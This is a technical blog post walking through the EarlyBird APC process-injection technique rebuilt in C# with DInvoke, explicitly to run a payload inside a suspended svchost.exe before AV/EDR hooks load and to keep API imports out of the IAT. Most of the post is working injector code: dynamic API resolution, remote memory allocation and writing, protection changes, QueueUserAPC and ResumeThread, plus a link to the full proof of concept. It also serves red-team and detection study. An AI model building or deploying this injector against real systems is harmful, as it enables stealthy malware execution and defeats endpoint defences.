Skip to main content

EarlyBird Process Injection technique using DInvoke

Pre-requisites

Here are some pre-requisite knowledge, that might help you in understanding the blog even more:

  1. Little knowledge about C#
  2. Little knowledge about sysinternals
  3. Some knowledge about process injection techniques
  4. Knowledge about P/Invoke

Introduction

This blog is about, how I was able to recreate the EarlyBird UserAPC process injection technique with DInvoke. There is also a POC version of this technique on my repository : EarlyBird

It is a very simple code execution technique. This lets the attacker execute the payload before the entry point of the main thread of the process, before any AV/EDR can hook into it. (To hook into this process, the AV/EDR must place the hook before the main thread)

Steps involved in this technique

  • First a process is created in a suspended state using CreateProcess Win32 API
  • Then in that process, memory region is allocated for the shellcode using VirtualAlloc
  • The shellcode is written into the memory region using WriteProcessMemory
  • Once the shellcode is written into the memory region QueueUserAPC function is called to add a UserAPC to the child process, which points to the start of the shellcode
  • Now ResumeThread API is called to resume the main thread of the process which is in suspended state

This is the overview of this technique.

Need for using DInvoke

  • The modern EDRs can detect malwares, even when they are executed in-memory using API hooking. Using hooking the EDR can redirect the function call and inspect it.

  • So if someone uses the normal P/Invoke calls, there will be a corresponding entry in the IAT (Import Address Table). Therefore, an entry on the IAT will be created, giving out the behavior of the tool. The IAT can later be analyzed by the Blue Team to get an idea about its behavior

  • Using DInvoke or Dynamic Invoke, you can dynamically refer to the address of an API and call it. Therefore, there is no detection in the IAT of the executable

  • So, DInvoke can be one of the useful techniques for defeating an EDR and can be used in several different cases

What are Delegates?

Before we start porting our EarlyBird POC to using DInvoke, we must have a little idea about what are delegates and how they are essential for DInvoke.

According to do MSDN, A delegate is a type that represents references to methods with a particular parameter list and return type. When you instantiate a delegate, you can associate its instance with any method with a compatible signature and return type. You can invoke (or call) the method through the delegate instance. Delegates are used to pass methods as arguments to other methods. (Source : https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/)

Therefore, we can essentially get the address of a DLL, search through the DLL for a function and retrieve the pointer to that function.Now, we can use the delegates to wrap the function into a class, call that function, as well as pass our parameters.

Porting the POC to using DInvoke technique

Although in the final I have rewritten a lot of things in a different way, but the original code is from SharpSploit DInvoke

GetLibraryAddress

  • The first important function that we need to understand is GetLibraryAddress.
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
{
	IntPtr hModule = GetLoadedModuleAddress(DLLName);
	if (hModule == IntPtr.Zero && CanLoadFromDisk)
	{
		hModule = LoadModuleFromDisk(DLLName);
		if (hModule == IntPtr.Zero)
		{
			throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
		}
	}
	else if (hModule == IntPtr.Zero)
	{
		throw new DllNotFoundException(DLLName + ", Dll was not found.");
	}

	return GetExportAddress(hModule, FunctionName);
}
  • This function takes the name of the function that we want to call, and the name of the DLL where the function is located in.
  • At first it tries to get the function from the loaded module using GetLoadedModuleAddress
  • If it is not loaded a NULL pointer is returned, then the module is loaded from the disk using LoadModuleFromDisk
  • If the address of module is loaded, then the pointer to the function is returned using the GetExportAddress function, which parses the export table.

GetLoadedModuleAddress

  • This is another important function in the SharpSploit suite
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
	ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
	foreach (ProcessModule Mod in ProcModules)
	{
		if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
		{
			return Mod.BaseAddress;
		}
	}
	return IntPtr.Zero;
}
  • This lists the already loaded modules on the context of the current process.
  • The string is then converted to lower case and compared with the DLL name that we provided
  • The loaded module has the complete path, for example: C:\Windows\SYSTEM32\ntdll.dll
  • Therefore, the end of the string is calculated with the DLL that we provided.
  • If there is a match, then the address of the DLL is returned, else a NULL pointer is returned

Loading modules from disk

  • If a module is not loaded in the context of the current process, one needs to load it from the disk
  • For this purpose, the most important is the LdrLoadDll API
  • Therefore a wrapper for the LdrLoadDll API is created as follows
public static Execute.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Execute.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
{
	// Craft an array for the arguments
	object[] funcargs =
	{
		PathToFile, dwFlags, ModuleFileName, ModuleHandle
	};

	Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs);

	// Update the modified variables
	ModuleHandle = (IntPtr)funcargs[3];

	return retValue;
}
  • Here the function DynamicAPIInvoke is used which also calls DynamicFunctionInvoke to load the ntdll.dll module, the LdrLoadDll module and subsequently invoke the API.

  • The next function is the LoadModuleFromDisk function.

public static IntPtr LoadModuleFromDisk(string DLLPath)
{
	Execute.Native.UNICODE_STRING uModuleName = new Execute.Native.UNICODE_STRING();
	Native.RtlInitUnicodeString(ref uModuleName, DLLPath);

	IntPtr hModule = IntPtr.Zero;
	Execute.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
	if (CallResult != Execute.Native.NTSTATUS.Success || hModule == IntPtr.Zero)
	{
		return IntPtr.Zero;
	}

	return hModule;
}
  • First the module name is converted to an UNICODE_STRING using RtlInitUnicodeString wrapper for the function of the same name. (This wrapper is created in the same way as above)

  • This string is then passed to the wrapper of LdrLoadDll function.

  • LdrLoadDll takes 4 arguments, 2 of them are important to us. One is the module name and the other one is an empty pointer which will hold the pointer to the module.

  • This is how SharpSploit can load the address of a module from the disk

Creating Delegates for the functions

Creating delegates for the functions is also a very important step. For example a delegate for the function CreateProcessA is created as follows

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool createproc(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironMent, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
  • Here we can name the delegate of our choice, or even use a hash in its place.

Invoking functions through the delegates

  • First we need to get the function pointer using the GetLibraryAddress function
IntPtr fPtr = GetLibaddr("kernel32.dll", "CreateProcessA");
  • You can also refer to another implementation of DInvoke by [Soumyadeep Basu] (https://twitter.com/SoumyadeepBas12), where he uses hashes in place of actual names of the modules and functions. Since, strings can be recovered easily from the binary.
  • Then get the delegate for the function pointer. Store it into a variable with the same delegate type as createproc for CreateProcessA API
createproc cp = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(createproc)) as createproc;
  • Here you can use the variable of the delegate type createproc as you’d normally call in P/Invoke
bool createprocstat = cp("C:\\Windows\\System32\\svchost.exe", null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
  • CreateProcessA takes the complete path of the binary from which you want to create the process. Here it is svchost.exe
  • Give the process creation flags as CREATE_SUSPENDED with a value of 0x00000004
  • The variable si of type STARTUPINFO stores the startup information and the variable pi of type PROCESS_INFORMATION stores the process information like the process handle and the thread handle.

Invoking other functions

  • Like this you can create the delegate of VirtualAllocEx and invoke it as well
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr valloc(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
fPtr = GetLibaddr("kernel32.dll", "VirtualAllocEx");
valloc virtalloc = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(valloc)) as valloc;
IntPtr addr = virtalloc(pi.hProcess, IntPtr.Zero, (uint)buf.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ReadWrite);
  • We allocate memory in the process that we just created, and refer to it using process handle

  • The size of the region will be the length of the payload buffer

  • The allocation type will be MEM_COMMIT and MEM_RESERVE

  • The memory protection will be Read Write, which we will change using VirtualProtectEx after we write our payload into the memory region

  • Now we write to the allocated memory region using WriteProcessMemory

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool writeprocmem(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
UIntPtr byteswritten = UIntPtr.Zero;
fPtr = GetLibaddr("kernel32.dll", "WriteProcessMemory");
writeprocmem wrpm = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(writeprocmem)) as writeprocmem;
wrpm(pi.hProcess, addr, buf, (uint)buf.Length, out byteswritten);
  • WriteProcessMemory takes the process handle, the address of the allocated memory region, the array containing the payload, the length of the payload buffer. It also returns the number of bytes written to the memory

  • Once the payload is written to the memory, use VirtualProtectEx to change the permission to Read Execute, since according to Data Execution Prevention (DEP) a memory cannot be writable and executable at the same time, and if we create a memory region Writable and executable at the same time, the EDR might catch up

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Boolean vprotect(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
uint oldProtect = 0;
fPtr = GetLibaddr("kernel32.dll", "VirtualProtectEx");
vprotect vprot = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(vprotect)) as vprotect;
vprot(pi.hProcess, addr, buf.Length, (uint)MemoryProtection.ExecuteRead, out oldProtect);
  • The function takes the process handle, the allocated memory region, the size of the memory region, the new memory protection that we want to set and a variable to store the old memory protection

  • Then we call the QueueUserAPC API

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr queueUseApc(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
fPtr = GetLibaddr("kernel32.dll", "QueueUserAPC");
queueUseApc qapc = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(queueUseApc)) as queueUseApc;
qapc(addr, pi.hThread, IntPtr.Zero);
  • We first supply the address of the allocated memory region for the pointer to the UserAPC

  • The supply the handle to the thread where this is located. The next parameters is not of use to us

  • Finally we call the resume thread function to resume the thread that was in suspended state till now

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint resthread(IntPtr hThhread);
fPtr = GetLibaddr("kernel32.dll", "ResumeThread");
resthread rt = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(resthread)) as resthread;
rt(pi.hThread);
  • It just takes the thread handle that we are working on.
  • A better approach would be to close the thread and process handles using the CloseHandle API

Conclusion

This was my explanation of the DInvoke and use of Delegates. Pardon my mistakes in the explanations. Although, directly using this won’t be very much useful, but it can be used in other techniques for better results.

You can refer to my version of the code here : https://github.com/dosxuz/DInvoke-Examples/tree/main/SimpleDinvoke/SimpleDinvoke

References